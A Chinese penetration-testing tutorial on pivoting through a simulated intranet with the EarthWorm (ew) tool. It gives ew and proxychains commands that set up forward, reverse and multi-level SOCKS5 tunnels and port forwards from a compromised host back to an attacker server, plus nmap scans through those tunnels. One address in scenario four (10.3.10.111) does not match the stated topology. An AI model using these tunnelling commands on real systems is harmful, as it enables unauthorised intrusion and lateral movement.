使用ew完成多场景下内网代理穿透
0x01 需求
当渗透进行到内网，常需要将流量代理到内网进行进一步扩展如：
- 端口扫描
- 端口转发
- 访问内网web服务
- ……
0x02 场景
以下模拟一个使用场景。
1、环境配置、网络拓扑
- A1 - 120.x.x.x - Kali - 公网攻击服务器
- V1 - 10.10.1.111 - Centos - 内网服务器，对公网开放但无公网IP，80端口存在web应用，通过一台nginx对公网开放，现已获得webshell，路由可抵达10.10.1段。
- V2 - 10.10.2.111 - Centos - 内网服务器，不对公网开放，路由可抵达10.10.1和10.10.3段。
- V3 - 10.10.3.111 - Centos - 内网服务器，不对公网开放，8080端口存在web应用，10.10.2段路由可达，10.10.1段路由不可达。
2、前提描述
在一次渗透中，操作A1对V1上web应用进行渗透，获取了V1的webshell，并反弹shell到A1上。接下来打算做内网渗透，进一步发现内网资源。
0x03 操作
实现内网穿透的工具有很多，如Earthworm，Termite，reGeorg，nps等，此处主要利用ew对模拟内网进行操作。
EW（Earthworm）是一套便携式的网络穿透工具，具有SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。
能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，突破网络限制。
共有6中模式：
- ssocksd - 正向代理
- rcsocks - 反向代理1，流量转发
- rssocks - 反向代理2，反弹socks5
- lcx_listen - 反向代理1，流量转发
- lcx_tran - 端口转发
- lcx_slave - 端口绑定
场景一：把流量代理到V1，进行内网信息收集
获得V1的shell后，先下载ew，准备架设socks5，将流量代理本地。
这里可以选择两种方式：正向代理和反向代理。
正向代理：
假设目标机V1有公网IP（139.x.x.x），可以使用正向的方式代理流量。
在目标机V1上启动socks5服务并监听1080端口：
./ew -s ssocksd -l 1080接着流量代理到139.x.x.x的1080端口，就相当于把流量代理到目标机V1了，就可以使用相关工具做进一步渗透。
A1上proxychains代理配置：
vi /etc/proxychains.conf
[ProxyList]
socks5 139.x.x.x 1080
反向代理：
由于场景中目标机V1没有公网IP，但是能访问公网。因为V1没有具体地址，无法使用正向连接，可使用反弹连接的方式代理流量。
在攻击机A1本地启动流量转发，将来自外部1080端口的流量转发到本地8888端口，并等待目标反弹连接：
./ew -s rcsocks -l 1080 -e 8888
在目标机V1上启动socks5服务，并反弹到攻击机A1的8888端口：
./ew -s rssocks -d 120.x.x.x -e 8888
代理通道架设完毕，访问A1的1080相当于访问V1的8888端口，在攻击机A1上使用proxychain将流量代理到本地1080端口，相当于把流量代理到目标机V1上了，在A1上发起请求相当于在V1上发起请求，然后可以使用相关工具做进一步渗透。
A1上proxychains代理配置：
[ProxyList]
socks5 127.0.0.1 1080
接下来借助V1进一步发现内网各段的机器，在A1上使用nmap扫描端口：
proxychains nmap -p xxx
-sT -Pn -open 10.10.1.111/16
注意：由于proxychains无法代理icmp的数据包，要加上禁ping参数-Pn（不检测主机是否存活，直接进行端口tcp扫描）
扫描结果发现仅能抵达10.2段内网机器V2-10.10.2.111，开放了22以及其他端口
尝试对V2进行渗透，在V1上发现已设置了V2的免密登录，在之前V1反弹的shell中用ssh成功登录到V2。
场景二：把流量代理到V2，进行进一步信息收集
现已获得V2的shell，检查发现V2不通公网，无法反向代理公网流量，需要通过V1进行多级代理。接下来将流量代理到V2上进行进一步探测。
这里同样有两种方式：正向代理和反向代理。
正向代理：
假设目标机V1有公网IP（139.x.x.x），可以使用正向的方式代理流量。
在目标机V2上启动socks5代理并监听9999端口：
./ew -s ssocksd -l 9999
在V1上启动流量转发，将V1的1080端口与V2的9999端口绑定，建立socks5通道：
./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999
接着流量代理到139.x.x.x的1080端口，就相当于把流量代理到目标机V2上了。
A1上proxychains代理配置：
[ProxyList]
socks5 139.x.x.x 1080
反向代理：
在攻击机A1本地启动流量转发，将来自外部1080端口的流量转发到本地8888端口，并等待目标反弹连接：
./ew -s lcx_listen -l 1080 -e 8888
传输ew到V2上，在V2启动socks5代理并监听9999端口：
./ew -s ssocksd -l 9999
最后在V1执行，将A1的8888端口与V2的9999端口绑定，建立socks5通道：
./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999
代理通道架设完毕，访问A1的1080相当于访问V2的9999端口，在攻击机A1上使用proxychain将流量代理到本地1080端口，相当于把流量代理到目标机V2上了，在A1上发起请求相当于在V2上发起请求。
A1上proxychains代理配置：
[ProxyList]
socks5 127.0.0.1 1080接着就可以使用相关工具做进一步渗透，此处先在A1上使用nmap扫描端口：
proxychains nmap -p xxx -sT -Pn -open 10.10.2.111/16
扫描结果发现能抵达10.3网段的一台内网机器V3-10.10.3.111，开放端口为8080。
根据之前在V1上的扫描结果，10.1段无法抵达10.3段，但是通过V2做跳板，可以访问到更深一层的内网机器和应用。
对A1浏览器进行代理设置，代理到本地1080端口，即把流量代理到了V2，从而可以访问V3上的内网web应用。
尝试在浏览器上访问http://10.10.3.111:8080，发现是某运维管理系统，接下来便可以进一步web渗透，略。
场景三：假设已获得V3的shell，现将流量代理到V3。（三级级联）
正向代理：
假设目标机V1有公网IP（139.x.x.x），可以使用正向的方式代理流量。
在V1上启动流量转发，将V1的1080端口与V2的9999端口绑定，建立socks5通道：
./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999
在V2上启动流量转发，将V2的9999 端口与V3的8888端口绑定，建立socks5通道：
./ew -s lcx_tran -l 9999 -f 10.10.3.111 -g 8888
在目标机V3上启动socks5代理并监听8888端口：
./ew -s ssocksd -l 8888
方式不止一种：通过场景二中反向代理的方式，从V1→V3架设也能实现。
接着流量代理到139.x.x.x的1080端口，就相当于把流量代理到目标机V3上了。
A1上proxychains代理配置：
[ProxyList]
socks5 139.x.x.x 1080
反向代理：
在攻击机A1执行，本地启动流量转发，将来自外部1080端口的流量转发到本地的8888端口，并等待目标反弹连接：
./ew -s rcsocks -l 1080 -e 8888
在V1执行，将A1的8888端口与V2的9999端口绑定，建立socks5通道：
./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999
在V2执行，本地启动流量转发，将来自外部9999端口的流量转发到本地的7777端口，等待目标机V3反弹连接：
./ew -s lcx_listen -l 9999 -e 7777
在目标机V3执行，启动socks5服务，并反弹到V2的7777端口：
./ew -s rssocks -d 10.10.2.111 -e 7777
代理通道架设完毕，访问A1的1080相当于访问V3的7777端口，在攻击机A1上使用proxychain将流量代理到本地1080端口，相当于把流量代理到目标机V3上了，在A1上发起请求相当于在V3上发起请求。
A1上proxychains代理配置：
[ProxyList]
socks5 127.0.0.1 1080
场景四：三级级联下的端口转发操作
ew同样支持内网端口转发，现将内网目标机V3上的web应用端口代理到外网。
正向代理：
假设目标机V1有公网IP（139.x.x.x），可以使用正向的方式代理流量。
在V1上启动流量转发，将V1的1080端口与V2的9999端口绑定，建立socks5通道：
./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999
在V2上启动流量转发，将V2的9999端口与V3的8080端口绑定，建立socks5通道：
./ew -s lcx_tran -l 9999 -f 10.10.3.111 -g 8080
代理通道架设完毕，访问V1的1080相当于访问V3的8080端口。
A1浏览器上访问http://139.x.x.x:1080，即访问V3上的内网web应用。
反向代理：
在A1执行，本地启动流量转发，将来自外部1080端口的流量转发到本地的8888端口，并等待目标反弹连接：
./ew -s lcx_listen -l 1080 -e 8888
在V1执行，将A1的8888端口与V2的9999端口绑定，建立socks5通道：
./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999
在V2执行，启动流量转发，将V2的9999端口与V3的8080端口绑定，建立socks5通道：
./ew -s lcx_tran -l 9999 -f 10.3.10.111 -g 8080
代理通道架设完毕，访问A1的1080相当于访问V3的8080端口。
A1浏览器上访问http://127.0.0.1:1080，即访问V3上的内网web应用。
0x04 总结
实战中的多样化场景可能更加复杂也可能比较简单，无法一一阐述，篇章尽量覆盖常见类型场景，描述了4种场景下ew的基本使用。
内容都是基础，工具在使用上也无太多难处，关键在于弄清楚实战中目标内网数据流向，把复杂的大场景拆分成若干个小场景，使问题变得简单。
纸上得来终觉浅，绝知此事要躬行，多实操多思考，方能不断进步。